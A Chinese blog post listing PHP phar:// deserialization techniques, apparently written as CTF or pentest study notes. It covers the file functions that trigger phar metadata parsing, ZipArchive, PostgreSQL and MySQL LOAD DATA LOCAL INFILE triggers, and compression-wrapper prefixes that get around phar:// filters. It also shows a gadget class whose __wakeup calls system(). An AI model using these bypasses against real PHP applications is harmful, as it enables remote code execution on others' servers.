Phar://的绕过

Phar的绕过

General 1920x1080 Gordon Zuchhold (Artstation) digital art science fiction pixel art city cyberpunk animation futuristic city ArtStation artwork futuristic

受害函数

  • fileatime / filectime / filemtime
  • stat / fileinode / fileowner / filegroup / fileperms
  • file / file_get_contents / readfile / `fopen``
  • file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
  • parse_ini_file
  • unlink
  • copy

file

exif gd hash file/url standard
exif_thumbnail imageloadfont hash_hmac_file
hash_file
hash_update_file
get_meta_tags getimagesize
exif_imagetype imagecreatefrom***系列函数 md5_file
sha1_file
get_headers getimagesizefromstring

zip函数

$zip = new ZipArchive();
$res = $zip->open('c.zip');
$zip->extractTo('phar://test.phar/test.txt');

数据库函数

Postgres pgsqlCopyToFile和pg_trace同样也是能使用的,需要开启phar的写功能。

Postgres

<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "postgres", "sx", "123456"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');
//pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能

Mysql

//LOAD DATA LOCAL INFILE触发phar
//先配置mysqld
//[mysqld]
//local-infile=1
//secure_file_priv=""
<?php
class A {
    public $s = '';
    public function __wakeup () {
        system($this->s);
    }
}
$m = mysqli_init();
mysqli_options($m, MYSQLI_OPT_LOCAL_INFILE, true);
$s = mysqli_real_connect($m, 'localhost', 'root', 'root', 'mysql', 3306);
//LOAD DATA LOCAL INFILE
$p = mysqli_query($m, 'LOAD DATA LOCAL INFILE \'phar://test.phar/test\' INTO TABLE a  LINES TERMINATED BY \'\r\n\'  IGNORE 1 LINES;');

phar文件压缩

phar://(文件生成前设置好) compress.bzip(zlib) php://filter
.tar.gz compress.bzip://phar://./test.phar/test.txt php://filter/read=convert.base64-encode/resource=phar://phar.phar
.tar compress.bzip2://phar://./test.phar/test.txt
.zip compress.zlib://phar://./home/sx/test.phar/test.txt
compress.zlib2://phar://./home/sx/test.phar/test.txt

php中一些常见流包装器:

file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

参考文章:

https://blog.zsxsoft.com/post/38

posted @ 2022-04-25 12:32  h0cksr  阅读(142)  评论(0编辑  收藏  举报